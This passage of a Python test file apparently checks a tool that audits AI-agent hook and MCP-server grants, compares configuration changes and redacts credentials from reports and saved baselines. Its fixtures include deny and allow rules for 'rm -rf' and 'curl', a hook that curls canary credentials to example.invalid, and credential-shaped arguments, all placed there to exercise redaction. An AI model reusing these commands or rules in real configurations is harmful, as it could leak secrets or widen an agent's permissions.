"mcp-foo==1.2.0"), + (["--with", "requests==2.31.0", "mcp-foo"], None), + (["run", "-i", "--rm", "ghcr.io/github/github-mcp-server:v0.5.0"], "ghcr.io/github/github-mcp-server:v0.5.0"), + (["run", "--rm", "mcp/fetch@sha256:" + "0a1b2c3d" * 8], "mcp/fetch@sha256:" + "0a1b2c3d" * 8), + (["run", "-e", "GITHUB_TOKEN", "localhost:5000/team/img:1.0"], "localhost:5000/team/img:1.0"), + # No version, a one-part version or an unknown tag is not the strict shape. + (["-y", "@example/billing-mcp"], None), + (["pkg@1"], None), + (["pkg@mytag"], None), + (["node:20"], None), + # Neither is anything a credential can be written as. + (["admin:hunter2"], None), + (["deploy@host"], None), + (["https://user:pass@x.invalid/a@1.2.3"], None), + (["--password=a@1.2.3"], None), + # ...nor a value after a flag no package runner writes, or one the + # digest's own list rule redacts. + (["--pass", "hunter@1.2.3"], None), + (["-p", "pin==1.2"], None), + (["--token", "abc@1.2.3"], None), + (["token", "abc@1.2.3"], None), + # ...nor a token shape the published-label redaction names. + (["ghp_" + "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8@1.0.0"], None), + (["pkg@1.2.3" + "0" * 200], None), + ], +) +def test_only_a_package_of_the_strict_shape_is_published(args: list[str], package: str | None) -> None: + from agents_shipgate.core.host_grants import _mcp_launch_args + + published, digest = _mcp_launch_args({"command": "npx", "args": args}) + assert published == package + assert digest == _args_digest(args, package) + + +def test_a_literal_marker_argument_never_hides_an_argument_edit(tmp_path: Path) -> None: + """The package and the digest determine the arguments, a literal `` among them (#819 review, cycle 5). + + Replacing the package by the marker alone made these two lists digest + alike, so the entry read "no difference in … launch arguments". + """ + + repo = _repository( + tmp_path, + {".mcp.json": _server("-y", "pkg@1.0.0", "")}, + {".mcp.json": _server("-y", "", "pkg@1.0.0")}, + ) + [server] = _grants(repo, "mcp_server") + head = _args_digest(["-y", "", "pkg@1.0.0"], "pkg@1.0.0") + assert (server["package"], server["args_sha256"]) == ("pkg@1.0.0", head) + base = _args_digest(["-y", "pkg@1.0.0", ""], "pkg@1.0.0") + assert base != head + text, _ = _diff(repo) + assert _table_entry(text, MCP_HEADER)[1] == ( + f"docs: launch arguments changed (sha256:{base[:12]} → sha256:{head[:12]})" + ) + + +def test_arguments_that_are_not_a_list_are_digested_as_declared(tmp_path: Path) -> None: + def server(args: object) -> dict: + return {"mcpServers": {"docs": {"command": "npx", "args": args}}} + + repo = _repository(tmp_path, {".mcp.json": server("-y a@1.2.3")}, {".mcp.json": server({"pin": "a@2.0.0"})}) + [grant] = _grants(repo, "mcp_server") + assert (grant["package"], grant["args_sha256"]) == (None, redacted_config_sha256({"pin": "a@2.0.0"})) + text, payload = _diff(repo) + assert _table_entry(text, MCP_HEADER)[1] == ( + f"docs: launch arguments changed (sha256:{redacted_config_sha256('-y a@1.2.3')[:12]} → " + f"sha256:{grant['args_sha256'][:12]})" + ) + assert len(payload["rows"]) == 1 + + +def test_an_mcp_change_outside_the_arguments_names_the_arguments_compared(tmp_path: Path) -> None: + repo = _repository( + tmp_path, + {".mcp.json": _server("-y", "example-mcp-server@1.2.3")}, + {".mcp.json": {"mcpServers": {"docs": { + "command": "./npx", "args": ["-y", "example-mcp-server@1.2.3"], "cwd": "packages/private", + }}}}, + ) + text, _ = _diff(repo) + assert _table_entry(text, MCP_HEADER)[1] == ( + "docs: no difference in the command name npx, launch arguments, env key names or header " + "key names; the change is in a detail this output does not show, such as the command's " + "path or another setting" + ) + + +# --- bounds ------------------------------------------------------------------- + + +def test_a_handler_count_past_the_bound_names_the_bound(tmp_path: Path) -> None: + """Seventeen handlers to fifteen said `handlers past the first 15` (#819 review, cycle 2).""" + + def handlers(count: int) -> dict: + return {"hooks": {"PostToolUse": [ + {"matcher": "Edit", "hooks": [{"type": "command", "command": f"bin/h{index}.sh"}]} + for index in range(count) + ]}} + + repo = _repository( + tmp_path, {SETTINGS: handlers(MAX_HOOK_HANDLERS + 1)}, {SETTINGS: handlers(MAX_HOOK_HANDLERS - 1)} + ) + last = f"bin/h{MAX_HOOK_HANDLERS - 1}.sh" + text, _ = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == ( + f"PostToolUse: -handler (matcher Edit, command h{MAX_HOOK_HANDLERS - 1}.sh {_digest(last)}); " + f"handlers past the first {MAX_HOOK_HANDLERS}: 1 → 0" + ) + + +def test_a_change_past_the_handler_bound_says_only_the_first_handlers_were_compared(tmp_path: Path) -> None: + def handlers(last_timeout: int) -> dict: + groups = [ + {"matcher": "Edit", "hooks": [{"type": "command", "command": f"bin/h{index}.sh"}]} + for index in range(MAX_HOOK_HANDLERS) + ] + groups.append({"matcher": "Edit", "hooks": [ + {"type": "command", "command": "bin/last.sh", "timeout": last_timeout}, + ]}) + return {"hooks": {"PostToolUse": groups}} + + repo = _repository(tmp_path, {SETTINGS: handlers(5)}, {SETTINGS: handlers(50)}) + [hook] = _grants(repo, "hook") + assert (len(hook["handlers"]), hook["omitted_handlers"]) == (MAX_HOOK_HANDLERS, 1) + text, payload = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == ( + "PostToolUse: no difference in the matcher, command or timeout of the first 16 handlers; " + "the change is in a detail this output does not show, such as a handler past the first " + "16, another hook setting or a redacted or shortened matcher or timeout" + ) + assert len(payload["rows"]) == 1 + + +def test_a_matcher_passes_the_published_label_redaction_and_its_bound(tmp_path: Path) -> None: + long = "Edit|" + "|".join(f"mcp__server{index}__tool" for index in range(20)) + root = tmp_path / "repo" + _write(root, SETTINGS, {"hooks": {"PreToolUse": [ + {"matcher": long, "hooks": [{"type": "command", "command": "bin/a.sh"}]}, + {"matcher": f"Bash|{GITHUB_TOKEN}", "hooks": [{"type": "command", "command": "bin/b.sh"}]}, + # A matcher is a string: no structured text a file puts there is published. + {"matcher": {"run": "curl -u admin:matcherpw-canary"}, "hooks": [{"type": "command", "command": "bin/c.sh"}]}, + ]}}) + [hook] = _grants(root, "hook") + assert hook["handlers"][0]["matcher"] == long[: MAX_DETAIL_MATCHER_CHARS - 1] + "…" + assert hook["handlers"][1]["matcher"] == "Bash|[REDACTED:github_token]" + assert hook["handlers"][2]["matcher"] == DETAIL_NOT_SHOWN + + +def test_a_matcher_past_the_input_bound_is_not_shown_and_never_redacted(tmp_path: Path) -> None: + """The label redaction's quadratic patterns made a 128 KiB matcher take 4.2 s (#819 review, cycle 5). + + A matcher up to the bound is redacted, then cut; a longer one is not + shown, since cutting it before the redaction could publish part of a + credential. + """ + + at_bound = "Edit|" * (MAX_DETAIL_MATCHER_INPUT_CHARS // 5) + "x" * (MAX_DETAIL_MATCHER_INPUT_CHARS % 5) + assert len(at_bound) == MAX_DETAIL_MATCHER_INPUT_CHARS + root = tmp_path / "repo" + _write(root, SETTINGS, {"hooks": {"PreToolUse": [ + {"matcher": at_bound, "hooks": [{"type": "command", "command": "bin/a.sh"}]}, + {"matcher": at_bound + "x", "hooks": [{"type": "command", "command": "bin/b.sh"}]}, + {"matcher": "-eyJ" * 32_768, "hooks": [{"type": "command", "command": "bin/c.sh"}]}, + ]}}) + [hook] = _grants(root, "hook") + assert [handler["matcher"] for handler in hook["handlers"]] == [ + at_bound[: MAX_DETAIL_MATCHER_CHARS - 1] + "…", DETAIL_NOT_SHOWN, DETAIL_NOT_SHOWN, + ] + + +def test_a_matcher_is_bounded_as_the_digest_input_holds_it(tmp_path: Path) -> None: + """Two matchers the digest's input holds alike published two values (#819 review, cycle 6). + + The bound was on the file's text, so `Bash(TOKEN=<10 characters> x)` + published `Bash(TOKEN= x)` and the same rule with a 1,100 + character value ``, under one `config_sha256`. + """ + + grants = [] + for length in (10, 1_100): + root = tmp_path / str(length) + matcher = f"Bash(TOKEN={'A' * length} x)" + _write(root, SETTINGS, {"hooks": {"PreToolUse": [ + {"matcher": matcher, "hooks": [{"type": "command", "command": "bin/a.sh"}]}, + ]}}) + [hook] = _grants(root, "hook") + grants.append(hook) + assert len(f"Bash(TOKEN={'A' * 1_100} x)") > MAX_DETAIL_MATCHER_INPUT_CHARS + assert grants[0]["config_sha256"] == grants[1]["config_sha256"] + assert grants[0]["handlers"] == grants[1]["handlers"] + assert grants[0]["handlers"][0]["matcher"] == "Bash(TOKEN= x)" + assert "AAAA" not in json.dumps(grants) + + +# --- the PR comment keeps every line 1.1.0 kept ---------------------------- + + +def _long_matcher(tag: str, handler: int) -> str: + return "|".join(f"mcp__{tag}{handler}_server{index}__tool" for index in range(4)) + + +ADVISORY = "Advisory: no application release policy configured. This comparison grants no merge authority." + + +def _note_lines(comment: str) -> list[str]: + return [line for line in comment.splitlines() if line == ENTRIES_SHORTENED] + + +@pytest.mark.parametrize("handlers", [3, 2]) +def test_long_hook_entries_leave_every_row_and_the_review_question_in_the_pr_comment( + tmp_path: Path, handlers: int +) -> None: + """Long entries hid the permission rows, the change count and the review question (#819 review, cycle 4). + + The comment was cut at the first line that did not fit, so one long hook + entry hid every row after it. On `main` all rows fit. + """ + + events = ["Notification", "PostToolUse", "PreCompact", "PreToolUse", "SessionEnd", "SessionStart", + "Stop", "SubagentStop"] + + def settings(tag: str, allow: list[str], deny: list[str]) -> dict: + return { + "permissions": {"allow": allow, "deny": deny}, + "hooks": {event: [{"matcher": _long_matcher(tag, index), "hooks": [ + {"type": "command", "command": f"bin/{tag}{index}.sh", "timeout": 10}, + ]} for index in range(handlers)] for event in events}, + } + + repo = _repository( + tmp_path, + {SETTINGS: settings("old", [], ["Bash(rm -rf:*)"])}, + {SETTINGS: settings("new", ["Bash(curl:*)"], [])}, + ) + out = tmp_path / "out" + _block, _summary, verifier = _verify(repo, out) + comment = (out / "pr-comment.md").read_text(encoding="utf-8") + changes = verifier["host_comparison"]["review"]["changes"] + assert len(changes) == len(events) + 2 + assert len(comment) <= 6000 + # Every row's heading, the removed denial and the added allow among them. + headings = [line for line in comment.splitlines() if line.startswith("- ") and " — " in line] + assert len(headings) == len(changes) + assert "deny: Bash(rm -rf:*)" in comment and "allow: Bash(curl:*)" in comment + assert verifier["host_comparison"]["review"]["question"] in comment + assert "omitted" not in comment + # The entries that did not fit are shortened, and one line, not one per + # entry, says so and names `verifier.json` (#819 review, cycle 6). + assert len(_note_lines(comment)) == 1 + assert comment.count("verifier.json` holds") == 1 + hook_entries = [change["change"] for change in changes if change["change"] and "matcher" in change["change"]] + assert len(hook_entries) == len(events) + assert all(len(entry) > 120 and "…" not in entry for entry in hook_entries) + + +CLAUDE_EVENTS = ["Notification", "PostToolUse", "PreCompact", "PreToolUse", "SessionEnd", "SessionStart", + "Stop", "SubagentStop", "UserPromptSubmit"] +CODEX_EVENTS = ["PostToolUse", "PreToolUse", "SessionStart", "Stop", "UserPromptSubmit"] + + +def _format_and_lint(events: list[str], prefix: str, **setting: object) -> dict: + return {"hooks": {event: [{"matcher": "Edit|Write|MultiEdit", "hooks": [ + {"type": "command", "command": f"{prefix}/format.sh", "timeout": 30, **setting}, + {"type": "command", "command": f"{prefix}/lint.sh", "timeout": 30, **setting}, + ]}] for event in events}} + + +#: The cycle-6 reproductions, as (base, head): a pull request that moves two +#: hook scripts out of `.claude/hooks` and `.codex/hooks` under every event, +#: the same with one event fewer, and one that makes 16 events' handlers +#: async, a setting no entry shows. +HOOK_MOVES = { + "moved-14": ( + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, ".claude/hooks"), + ".codex/hooks.json": _format_and_lint(CODEX_EVENTS, ".codex/hooks")}, + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, "scripts/hooks"), + ".codex/hooks.json": _format_and_lint(CODEX_EVENTS, "scripts/hooks")}, + ), + "moved-13": ( + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, ".claude/hooks"), + ".codex/hooks.json": _format_and_lint(CODEX_EVENTS[:4], ".codex/hooks")}, + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, "scripts/hooks"), + ".codex/hooks.json": _format_and_lint(CODEX_EVENTS[:4], "scripts/hooks")}, + ), + "async-16": ( + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, "bin"), + ".codex/hooks.json": _format_and_lint([*CODEX_EVENTS, "Notification", "PreCompact"], "bin")}, + {SETTINGS: _format_and_lint(CLAUDE_EVENTS, "bin", **{"async": True}), + ".codex/hooks.json": _format_and_lint( + [*CODEX_EVENTS, "Notification", "PreCompact"], "bin", **{"async": True} + )}, + ), +} + + +@pytest.mark.parametrize("case", list(HOOK_MOVES)) +def test_long_hook_entries_leave_every_line_1_1_0_prints_in_the_pr_comment(tmp_path: Path, case: str) -> None: + """From about 13 long hook entries the comment lost what `1.1.0`'s kept (#819 review, cycle 6). + + Each entry was cut to 120 characters and followed by its own 57-character + pointer, so the comment still did not fit, and its bound cut the + coverage block, the review question, the reproduction, the advisory and + the evidence line, and from 16 rows row headings too. `1.1.0` printed + every one of them within 6,000 characters. + """ + + base, head = HOOK_MOVES[case] + repo = _repository(tmp_path, base, head) + out = tmp_path / "out" + _block, _summary, verifier = _verify(repo, out) + comment = (out / "pr-comment.md").read_text(encoding="utf-8") + lines = comment.splitlines() + rows = verifier["host_comparison"]["rows"] + assert len(rows) == int(case.split("-")[1]) + assert len(comment) <= 6000 + assert "omitted" not in comment + # Every row heading with its entry and its why. + headings = [index for index, line in enumerate(lines) if line.startswith("- ") and " — " in line] + assert len(headings) == len(rows) + for index in headings: + assert lines[index + 1].startswith(" ` ") and lines[index + 1].endswith(" `") + assert lines[index + 2] == " ` changes what runs around the agent's actions `" + # The coverage block, the question, the reproduction, the advisory and the evidence. + assert "What this run established:" in lines + assert any(line.startswith("- ` .claude/settings.json ` (claude-code): compared;") for line in lines) + assert any(line.startswith("- ` .codex/hooks.json ` (codex): compared;") for line in lines) + assert verifier["host_comparison"]["review"]["question"] in lines + assert any(line.startswith("Reproduce: check out ") for line in lines) + assert ADVISORY in lines + assert any(line.startswith("Evidence: `verifier.json` contains") for line in lines) + assert "### Agent instruction block" in lines + # Shortened entries are named once, never one pointer per entry. + assert len(_note_lines(comment)) == 1 + + +def test_a_bounded_comment_keeps_every_line_its_shortest_entries_would_print(tmp_path: Path) -> None: + """Whatever the room, every line printed with each entry in its shortest form stays (#819 review, cycle 6). + + No entry in its shortest form is longer than the one `1.1.0` printed: a + hook change's `PreToolUse: …` against `PreToolUse → PreToolUse`, an MCP + server's `name: …` against `name: env keys +B`, an added grant's own + row, and a permission rule's entry unchanged. So the lines printed with + every entry that way hold every line `1.1.0` printed but the entries. For + each room from where they alone fit to where every entry fits whole, the + bounded lines fit, hold every one of those lines, and print each entry + whole, cut to at least ENTRY_MIN_CHARS characters ending in `…`, or in + its shortest form. + """ + + events = [f"Event{index:02d}" for index in range(18)] + servers = [f"server-with-a-rather-long-name-{index}" for index in range(3)] + + def settings(prefix: str, added: bool) -> dict: + hooks = _format_and_lint([*events, *(["Added00"] if added else [])], prefix) + return {**hooks, "permissions": {"allow": ["Bash(curl:*)"]} if added else {"deny": ["Bash(rm -rf:*)"]}} + + def mcp(version: str, env: list[str], added: bool) -> dict: + return {"mcpServers": { + name: {"command": "npx", "args": ["-y", f"example-mcp-server@{version}"], "env": dict.fromkeys(env, "x")} + for name in [*servers, *(["added-server"] if added else [])] + }} + + repo = _repository( + tmp_path, + {SETTINGS: settings(".claude/hooks", False), ".mcp.json": mcp("1.2.3", ["A"], False)}, + {SETTINGS: settings("scripts/hooks", True), ".mcp.json": mcp("1.2.4", ["A", "B"], True)}, + ) + _block, _summary, verifier = _verify(repo, tmp_path / "out") + comparison = HostComparison.model_validate(verifier["host_comparison"]) + changes = presented_changes(comparison) + assert len(changes) == len(events) + len(servers) + 4 + + def lines_for(coverage: int, entry_max_chars: int | None, entry_note: bool) -> list[str]: + return host_comparison_lines( + comparison, markdown=True, coverage_max_chars=coverage, + entry_max_chars=entry_max_chars, entry_note=entry_note, + ) + + def size(lines: list[str]) -> int: + return len("\n".join(lines)) + + def printed_by_1_1_0(change) -> str: + """The entry line 1.1.0 printed, or for an added MCP server a line no longer than it.""" + + row = comparison.rows[change.row_indexes[0]] + if change.change is None: + return f" ` {row.before} ` → ` {row.after} `" + if row.after in servers: + return f" ` {row.after}: env keys +B `" + return f" ` {row.before} ` → ` {row.after} `" + + seen = set() + low, high = size(lines_for(0, 0, False)), size(lines_for(MARKDOWN_COVERAGE_MAX_CHARS, None, True)) + for room in [*range(low, high, 37), high]: + lines = with_entries_in_room(comparison, lines_for, room) + assert size(lines) <= room + expected = lines_for(coverage_budget(comparison, lambda c: lines_for(c, 0, False), room), 0, False) + headings = [index for index, line in enumerate(expected) if line.startswith("- ") and " — " in line] + assert [lines[index] for index in headings] == [expected[index] for index in headings] + assert not Counter(line for index, line in enumerate(expected) if index - 1 not in headings) - Counter(lines) + kinds = set() + for index, change in zip(headings, changes, strict=True): + entry, whole = lines[index + 1], entry_text(change) + row = comparison.rows[change.row_indexes[0]] + whole_line = ( + f" ` {whole} `" if change.change is not None else f" ` {change.before} ` → ` {change.after} `" + ) + if row.disposition is not None: + # A permission rule's entry: never shortened, as 1.1.0 printed it. + assert entry == whole_line + elif entry == whole_line: + kinds.add("whole") + elif entry.endswith("… `") and len(entry) - 6 >= ENTRY_MIN_CHARS: + assert whole.startswith(entry[4:-3].removesuffix("…")) + kinds.add("cut") + else: + assert entry == ( + f" ` {row.after}: … `" + if change.change is not None + else f" ` {row.before} ` → ` {row.after} `" + ) + assert len(entry) <= len(printed_by_1_1_0(change)) + kinds.add("shortest") + rung = "shortest" if "shortest" in kinds else "cut" if "cut" in kinds else "whole" + seen.add((rung, ENTRIES_SHORTENED in lines)) + # Every rung: whole, cut with the note, shortest with the note, and without it. + assert {("whole", False), ("cut", True), ("shortest", True), ("shortest", False)} <= seen + + +# --- display only: equality, digests and saved baselines -------------------- + + +def _legacy_baseline(inventory: dict) -> dict: + """The `0.6` baseline `1.1.0` would have saved for this inventory.""" + + baseline = build_host_grants_baseline(inventory) + snapshot = { + **baseline["inventory"], + "grants": [compared_grant(grant) for grant in baseline["inventory"]["grants"]], + } + legacy = { + "host_grants_schema_version": "0.6", + "scope": baseline["scope"], + "inventory_sha256": host_grants_sha256(snapshot), + "inventory": snapshot, + } + return HostGrantsBaselineV6.model_validate(legacy).model_dump(mode="json") + + +def test_the_detail_is_left_out_of_equality_and_the_inventory_digest(tmp_path: Path) -> None: + root = tmp_path / "repo" + _write(root, SETTINGS, _hooks("Edit", "bin/lint.sh", 10)) + _write(root, ".mcp.json", _server("-y", "example-mcp-server@1.2.3")) + inventory = _inventory(root) + legacy = _legacy_baseline(inventory) + + # No detail member survives in the legacy snapshot, and the digest is the same. + for grant in legacy["inventory"]["grants"]: + assert not DISPLAY_ONLY_GRANT_FIELDS.get(grant["kind"], frozenset()).intersection(grant) + assert legacy["inventory_sha256"] == build_host_grants_baseline(inventory)["inventory_sha256"] + + drift = build_host_drift_payload(baseline=legacy, inventory=inventory, baseline_file="b.json") + assert (drift["comparison_status"], drift["has_drift"], drift["changes"]) == ("comparable", False, []) + assert drift["incomparable_reasons"] == [] + assert drift["baseline_sha256"] == drift["current_sha256"] + + # A change is still a row, through `config_sha256`. + _write(root, SETTINGS, _hooks("Edit|Write", "bin/lint.sh", 10)) + changed = build_host_drift_payload(baseline=legacy, inventory=_inventory(root), baseline_file="b.json") + assert [change["current"]["kind"] for change in changed["changes"]] == ["hook"] + assert changed["expansion_signals"] == ["hook_changed: claude-code:.claude/settings.json"] + # A legacy side names no field difference it cannot show: the event, as before. + [row] = capability_diff_rows(changed) + [presented] = review_changes([row]) + assert (presented.before, presented.after, presented.change) == ("PostToolUse", "PostToolUse", None) + + +def test_a_0_6_baseline_stays_comparable_and_may_be_re_saved(tmp_path: Path) -> None: + root = tmp_path / "repo" + _write(root, SETTINGS, _hooks("Edit", "bin/lint.sh", 10)) + _write(root, ".mcp.json", _server("-y", "example-mcp-server@1.2.3")) + path = root / ".agents-shipgate/host-grants.json" + path.parent.mkdir(parents=True) + path.write_text(json.dumps(_legacy_baseline(_inventory(root)), indent=2, sort_keys=True) + "\n") + assert load_host_grants_baseline(path)["host_grants_schema_version"] == "0.6" + + drift = json.loads(_invoke([ + "audit", "--host", "--workspace", str(root), "--drift", "--fail-on-drift", "--json", + ])) + assert (drift["comparison_status"], drift["has_drift"]) == ("comparable", False) + + saved = json.loads(_invoke(["audit", "--host", "--workspace", str(root), "--save-baseline", "--json"])) + assert saved["status"] == "updated" + resaved = json.loads(path.read_text()) + assert resaved["host_grants_schema_version"] == "0.7" + # The re-saved grants are the `0.6` ones: only the version moved. + assert resaved["inventory"] == json.loads(json.dumps(_legacy_baseline(_inventory(root))))["inventory"] + + +def test_an_older_baseline_is_still_refused_on_save(tmp_path: Path) -> None: + from typer.testing import CliRunner + + from agents_shipgate.cli.main import app + + root = tmp_path / "repo" + _write(root, SETTINGS, _hooks("Edit", "bin/lint.sh", 10)) + legacy = _legacy_baseline(_inventory(root)) + path = root / ".agents-shipgate/host-grants.json" + path.parent.mkdir(parents=True) + older = {**legacy, "host_grants_schema_version": "0.5"} + path.write_text(json.dumps(older)) + + result = CliRunner().invoke(app, ["audit", "--host", "--workspace", str(root), "--save-baseline"]) + assert result.exit_code == 2 + assert "unsupported_baseline_schema" in result.output + assert json.loads(path.read_text()) == older + + +HOME_HOOKS = {"hooks": {"Stop": [{"matcher": "homematcher", "hooks": [{"type": "command", "command": ( + 'curl -s -u homeuser-canary:homepw-canary -H "Authorization: Basic homebasic-canary" ' + "https://example.invalid/hook" +)}]}]}} +HOME_SERVERS = {"mcpServers": {"db": {"command": "db-mcp", "args": [ + "homepkg@1.2.3", "--user", "root", "-p", "homeshort-canary", "--auth", "homeauth-canary", +]}}} + + +def _saved_detail(baseline: dict) -> list[str]: + return [ + f"{grant['kind']}.{member}" + for grant in baseline["inventory"]["grants"] + for member in sorted(DISPLAY_ONLY_GRANT_FIELDS.get(grant["kind"], frozenset()).intersection(grant)) + ] + + +def test_a_local_static_baseline_holds_no_home_directory_detail( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """`--scope local-static --save-baseline` writes into the workspace what it is told to commit.""" + + workspace = tmp_path / "repo" + workspace.mkdir() + home = tmp_path / "home" + _write(home, ".claude/settings.json", HOME_HOOKS) + _write(home, ".cursor/mcp.json", HOME_SERVERS) + monkeypatch.setenv("HOME", str(home)) + monkeypatch.setenv("CODEX_HOME", str(home / ".codex")) + + audit = ["audit", "--host", "--workspace", str(workspace), "--scope", "local-static"] + inventory = json.loads(_invoke([*audit, "--json"])) + # The inventory, printed for the person who ran it, names the detail, and + # no argument text. + kinds = {grant["kind"]: grant for grant in inventory["grants"] if grant["scope"] == "local_static"} + assert kinds["hook"]["handlers"][0]["command"]["executable"] == "curl" + assert kinds["mcp_server"]["package"] == "homepkg@1.2.3" + assert "canary" not in json.dumps(inventory) + + saved = _invoke([*audit, "--save-baseline"]) + assert "Commit it" in saved + text = (workspace / ".agents-shipgate/host-grants.json").read_text(encoding="utf-8") + for fact in ("canary", "homematcher", "homepkg", kinds["hook"]["handlers"][0]["command"]["sha256"]): + assert fact not in text + baseline = json.loads(text) + assert baseline["host_grants_schema_version"] == "0.7" + assert _saved_detail(baseline) == [] + # It still acknowledges both grants, and the next drift compares as before. + assert sorted(grant["kind"] for grant in baseline["inventory"]["grants"]) == ["hook", "mcp_server"] + drift = json.loads(_invoke([*audit, "--drift", "--fail-on-drift", "--json"])) + assert (drift["comparison_status"], drift["has_drift"]) == ("comparable", False) + # A changed home hook is still drift, through `config_sha256`. + _write(home, ".claude/settings.json", {"hooks": {"Stop": [{"hooks": [ + {"type": "command", "command": "bin/other.sh"}, + ]}]}}) + changed = json.loads(_invoke([*audit, "--drift", "--json"])) + assert [change["current"]["kind"] for change in changed["changes"]] == ["hook"] + assert "handlers" not in changed["changes"][0]["baseline"] + + +def test_a_repository_baseline_holds_no_detail_from_git_ignored_settings(tmp_path: Path) -> None: + """`.claude/settings.local.json` is read in repository scope and is usually git-ignored.""" + + root = tmp_path / "repo" + _write(root, ".claude/settings.local.json", HOME_HOOKS) + _write(root, ".mcp.json", HOME_SERVERS) + _invoke(["audit", "--host", "--workspace", str(root), "--save-baseline"]) + text = (root / ".agents-shipgate/host-grants.json").read_text(encoding="utf-8") + for fact in ("canary", "homematcher", "homepkg"): + assert fact not in text + baseline = json.loads(text) + assert _saved_detail(baseline) == [] + assert baseline == build_host_grants_baseline(_inventory(root)) + # What a saved baseline compares is what the inventory compares. + assert baseline["inventory_sha256"] == host_grants_sha256(baseline["inventory"]) + assert baseline["inventory_sha256"] == host_grants_sha256(normalized_host_grants(_inventory(root))) + + +# --- the digest's assignment rule, and files at the reader bound ------------- + + +#: The digest's credential-assignment rule as it was before its lookahead. +_ASSIGNMENT_RULE_BEFORE = ( + r"(?i)\b([A-Z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|CREDENTIAL)[A-Z0-9_]*)" + r"(\s*=\s*)([^\s'\";,\)]+)" +) + + +def test_the_digest_assignment_rule_matches_as_before_in_linear_time() -> None: + """A long run of a credential word took quadratic time; what the rule matches, and so `config_sha256`, is unchanged. + + 40,000 characters of `password` took 1.6 seconds in the digest's input + (#819 review, cycle 2). + """ + + import random + import re + import time + + from agents_shipgate.core.host_grants import ( + _ASSIGNMENT_SECRET_RE, + _hook_command, + _redact_secret_values, + ) + + before = re.compile(_ASSIGNMENT_RULE_BEFORE) + pieces = [ + "a", "Z", "9", "_", "token", "SECRET", "password", "passwd", "api_key", "APIKEY", "credential", + "=", "==", " ", "\t", "\n", "'", '"', ";", ",", ")", "(", "-", ".", "é", "ſ", "K", "PASS", "$", ":", + ] + rng = random.Random(819) + for _ in range(20_000): + text = "".join(rng.choice(pieces) for _ in range(rng.randint(0, 14))) + assert [(m.span(), m.groups()) for m in _ASSIGNMENT_SECRET_RE.finditer(text)] == [ + (m.span(), m.groups()) for m in before.finditer(text) + ], text + + command = "password" * 5_000 + started = time.perf_counter() + _redact_secret_values({"hooks": {"Stop": [{"hooks": [{"type": "command", "command": command}]}]}}) + _hook_command(command) + _hook_command(command + "='") + assert time.perf_counter() - started < 1.5 + + +#: A file just under the reader's bound, so each shape is as long as one file can make it. +_NEAR_BOUND = 1024 * 1024 - 4096 + + +def _long_hook_file(command: str) -> tuple[str, dict]: + return SETTINGS, {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": command}]}]}} + + +def _long_mcp_file(command: str, *args: str) -> tuple[str, dict]: + return ".mcp.json", {"mcpServers": {"docs": {"command": command, "args": list(args)}}} + + +def _long_matcher_file(matcher: str, handlers: int = 0) -> tuple[str, dict]: + """One matcher group: a handler with a command, then ``handlers`` more with none.""" + + return SETTINGS, {"hooks": {"Stop": [{"matcher": matcher, "hooks": [ + {"type": "command", "command": "bin/stop.sh"}, *([{}] * handlers), + ]}]}} + + +#: Repository text that took time quadratic in its length to publish (#819 +#: review): (file, contents, the hook's published executable, or ``None`` for +#: an MCP server, whose package none of them is). +_LONG_SHAPES = { + "header blanks": (*_long_mcp_file("npx", "token:" + " " * _NEAR_BOUND), None), + "shell flag": (*_long_hook_file("sh -" + "c" * _NEAR_BOUND + "1 x"), "sh"), + "hex runs": (*_long_mcp_file("npx", ".".join(["a" * 64] * (_NEAR_BOUND // 65))), None), + "digest pins": (*_long_mcp_file("npx", ".".join(["sha256:" + "a" * 64] * (_NEAR_BOUND // 72))), None), + "long word": (*_long_hook_file("echo '" + "w" * _NEAR_BOUND + "'"), "echo"), + "leading assignments": (*_long_hook_file("A=1 " * (_NEAR_BOUND // 4) + "run"), DETAIL_NOT_SHOWN), + "script assignments": (*_long_hook_file("bash -c '" + "A=1 " * (_NEAR_BOUND // 4) + "'"), "bash"), + "script header words": (*_long_hook_file("bash -c '" + "echo token: " * (_NEAR_BOUND // 12) + "'"), "bash"), + "script commands": (*_long_hook_file("bash -c '" + "t --token a; " * (_NEAR_BOUND // 13) + "'"), "bash"), + "script words": (*_long_mcp_file("bash", "-c", "a " * (_NEAR_BOUND // 2)), None), + "quoted assignment": (*_long_mcp_file("npx", "token" * (_NEAR_BOUND // 5) + "='x'"), None), + "credential run": (*_long_hook_file("password" * (_NEAR_BOUND // 8)), DETAIL_NOT_SHOWN), + "one long first word": (*_long_hook_file("x" * _NEAR_BOUND), DETAIL_NOT_SHOWN), + # The label redaction's jwt and database-URL patterns, reached through a + # matcher (#819 review, cycle 5: 128 KiB took 4.2 s), and one matcher + # under many handlers, which was redacted once per handler. + "jwt matcher": (*_long_matcher_file("-eyJ" * (_NEAR_BOUND // 4)), "stop.sh"), + "database url matcher": (*_long_matcher_file("postgres://a:" * (_NEAR_BOUND // 13)), "stop.sh"), + "matcher under many handlers": ( + *_long_matcher_file("x" * (_NEAR_BOUND // 2), handlers=_NEAR_BOUND // 8), "stop.sh", + ), + "bounded matcher under many handlers": ( + *_long_matcher_file("-eyJ" * (MAX_DETAIL_MATCHER_INPUT_CHARS // 4), handlers=_NEAR_BOUND // 4 - 300), + "stop.sh", + ), +} + + +@pytest.mark.parametrize("name", list(_LONG_SHAPES)) +def test_a_file_at_the_reader_bound_is_read_in_linear_time(tmp_path: Path, name: str) -> None: + """One config file near 1 MiB took minutes to over an hour per read in the earlier word rules (#819 review). + + No command or argument text is published now, so no word rule runs, but + each reviewed shape stays pinned: read in linear time, the whole inventory + takes well under the bound, which fails any return of them while leaving a + shared runner room. + """ + + import time + + path, contents, executable = _LONG_SHAPES[name] + _write(tmp_path, path, contents) + assert (tmp_path / path).stat().st_size <= 1024 * 1024 + started = time.perf_counter() + inventory = _inventory(tmp_path) + elapsed = time.perf_counter() - started + assert elapsed < 60, f"read a {name} file in {elapsed:.1f}s" + [grant] = [grant for grant in inventory["grants"] if grant["kind"] in 